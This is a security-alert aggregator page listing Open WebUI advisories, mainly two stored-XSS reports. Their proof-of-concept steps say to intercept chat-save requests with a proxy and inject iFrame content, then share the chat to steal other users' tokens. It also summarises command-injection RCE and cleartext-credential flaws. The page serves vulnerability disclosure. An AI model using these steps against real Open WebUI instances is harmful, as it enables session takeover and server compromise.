Details The flaw stems from how iFrames are constructed here: https://github.com/open-webui/open-webui/blob/6f1486ffd0cb288d0e21f41845361924e0d742b3/src/lib/components/chat/Messages/ResponseMessage.svelte#L689-L703

messages.embeds is a user controlled property and so can be arbitrarily set by the user to a payload of their choosing. Since allowScripts and allowSameOrigin are harcoded as true here the sandboxing offers essentially no protection.

PoC Create an arbitrary chat: <img width="2468" height="1426" alt="image" src="https://github.com/user-attachments/assets/41e32f5c-3fa7-4208-a71f-85556eec6309" /> Edit the model response: <img width="632" height="192" alt="image" src="https://github.com/user-attachments/assets/b1e79303-360f-46e3-8d6d-3309c3ec30af" /> <img width="2150" height="434" alt="image" src="https://github.com/user-attachments/assets/78f19d7f-10dc-4e91-83cc-2d4811e58496" /> Before saving, configure the browser to use an HTTP proxy tool (Burp/Caido/ZAP) and intercept the save request. Find the object within the history and then messages objects (not the messages array) that corresponds to the edited text. <img width="2024" height="1528" alt="image" src="https://github.com/user-attachments/assets/953e5368-8e93-428b-b223-c695eacfe7b9" /> On this object, add an embeds key and list value as shown below, forward the request and refresh the page. <img width="1904" height="1530" alt="image" src="https://github.com/user-attachments/assets/0e56be6f-5513-490e-9961-972bdfbd5d8b" /> This results in XSS via the controlled content getting rendered in the iFrame. Note the bold text is just to aid demonstration. console.log is used to prove JS execution because the lack of allow-modals on the iFrame sandbox prevents alerts. <img width="2752" height="1686" alt="image" src="https://github.com/user-attachments/assets/4858f7b3-4e2f-4fab-a5a5-196df26bcdce" /> The same payload triggers when the chat is shared. <img width="2730" height="1426" alt="image" src="https://github.com/user-attachments/assets/ee88b538-9781-4276-b681-9953974b826d" />

Impact Any user can create a weaponised chat that can be shared and subsequently used to target other users.

Low privilege users are at risk of having their session taken over by a payload that reads their token from local storage and exfiltrates it to an attacker controlled server.

Admins are at risk of exposing the server to RCE via same chain described in GHSA-w7xj-8fx7-wfch.

1 / 2
Source: GitHub
First published (updated )
Severity
7.3
EPSS
0.03%
XSS
AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N

Summary Manually modifying chat history allows setting the html property within document metadata. This causes the frontend to enter a code path that treats document contents as HTML, and render them in an iFrame when the citation is previewed. This allows stored XSS via a weaponised document payload in a chat. The payload also executes when the citation is viewed on a shared chat.

Details The vulnerability stems from how iFrame are implemented here: https://github.com/open-webui/open-webui/blob/6f1486ffd0cb288d0e21f41845361924e0d742b3/src/lib/components/chat/Messages/Citations/CitationModal.svelte#L163-L170 The html attribute can be controlled by a user who manually edits the chat history. Since allow-scripts and allow-same-origin are harcoded here the sandboxing offers essentially no protection.

PoC Create an arbitrary chat with a file upload attached: <img width="2462" height="1148" alt="image" src="https://github.com/user-attachments/assets/fad83c74-036d-41b8-bc44-87bf2a538b21" /> Edit the response <img width="768" height="206" alt="image" src="https://github.com/user-attachments/assets/41a7342a-cc41-433e-8820-0bc6ed08ddd7" /> <img width="2142" height="796" alt="image" src="https://github.com/user-attachments/assets/fb731111-e082-4172-80d1-34cff6b2a511" /> Before saving, configure the browser to use an HTTP proxy tool (Burp/Caido/ZAP) and intercept the save request. Find the object within the history and then messages objects (not the messages array) that contains the document source. <img width="2122" height="1388" alt="image" src="https://github.com/user-attachments/assets/1b4fbced-a6de-414d-b063-9cae44e3f449" /> Add html: true to metadata, update the document to an XSS payload, and forward the request. <img width="2240" height="1358" alt="image" src="https://github.com/user-attachments/assets/fd27971b-f707-458f-a14d-254f9f3ad1fa" /> Observe the payload is rendered in the iFrame and the javascript executes. <img width="2698" height="1696" alt="image" src="https://github.com/user-attachments/assets/b4e31cb4-d4cc-41a9-be42-802e9b1a798d" /> The payload also executes when viewed from a shared version of the chat. <img width="2742" height="1258" alt="image" src="https://github.com/user-attachments/assets/92ee501d-8f14-4c32-8f3c-f4d3ca304ee5" />

Impact Any user can create a weaponised chat that can be shared and subsequently used to target other users.

Low privilege users are at risk of having their session taken over by a payload that reads their token from local storage and exfiltrates it to an attacker controlled server.

Admins are at risk of exposing the server to RCE via same chain described in https://github.com/advisories/GHSA-w7xj-8fx7-wfch.

Caveats The victim must expand the sources and click the document containing the payload to trigger this issue.

1 / 2
Source: GitHub
First published (updated )
Severity
6.5
AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N

Open WebUI Cleartext Transmission of Credentials Information Disclosure Vulnerability. This vulnerability allows network-adjacent attackers to disclose sensitive information on affected installations of Open WebUI. Authentication is not required to exploit this vulnerability.

The specific flaw exists within the handling of credentials provided to the endpoint. The issue results from transmitting sensitive information in plaintext. An attacker can leverage this vulnerability to disclose transmitted credentials, leading to further compromise. Was ZDI-CAN-28259.

1 / 2
Source: MITRE
First published (updated )
Severity
8.8
Code Injection, Command Injection
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Open WebUI loadtoolmodulebyid Command Injection Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Open WebUI. Authentication is required to exploit this vulnerability.

The specific flaw exists within the loadtoolmodulebyid function. The issue results from the lack of proper validation of a user-supplied string before using it to execute Python code. An attacker can leverage this vulnerability to execute code in the context of the service account. Was ZDI-CAN-28257.

1 / 2
Source: MITRE
First published (updated )
Severity
8.8
OS Command Injection, Command Injection
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Open WebUI PIP installfrontmatterrequirements Command Injection Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Open WebUI. Authentication is required to exploit this vulnerability.

The specific flaw exists within the installfrontmatterrequirements function.The issue results from the lack of proper validation of a user-supplied string before using it to execute a system call. An attacker can leverage this vulnerability to execute code in the context of the service account. Was ZDI-CAN-28258.

1 / 2
Source: MITRE
First published (updated )
Severity
8.8
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

This vulnerability allows remote attackers to execute arbitrary code on affected installations of Open WebUI. Authentication is required to exploit this vulnerability. The specific flaw exists within the installfrontmatterrequirements function.The issue results from the lack of proper validation of a user-supplied string before using it to execute a system call. An attacker can leverage this vulnerability to execute code in the context of the service account.

1 / 2
Source: ZDI
First published (updated )
Advisory
ZDI-26-031
Severity
8.8
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

This vulnerability allows remote attackers to execute arbitrary code on affected installations of Open WebUI. Authentication is required to exploit this vulnerability. The specific flaw exists within the installfrontmatterrequirements function.The issue results from the lack of proper validation of a user-supplied string before using it to execute a system call. An attacker can leverage this vulnerability to execute code in the context of the service account.

1 / 2
Source: ZDI
First published (updated )
Severity
5.3
AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N

This vulnerability allows network-adjacent attackers to disclose sensitive information on affected installations of Open WebUI. Authentication is not required to exploit this vulnerability. The specific flaw exists within the handling of credentials provided to the endpoint. The issue results from transmitting sensitive information in plaintext. An attacker can leverage this vulnerability to disclose transmitted credentials, leading to further compromise.

1 / 2
Source: ZDI
First published (updated )
Advisory
ZDI-26-033

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203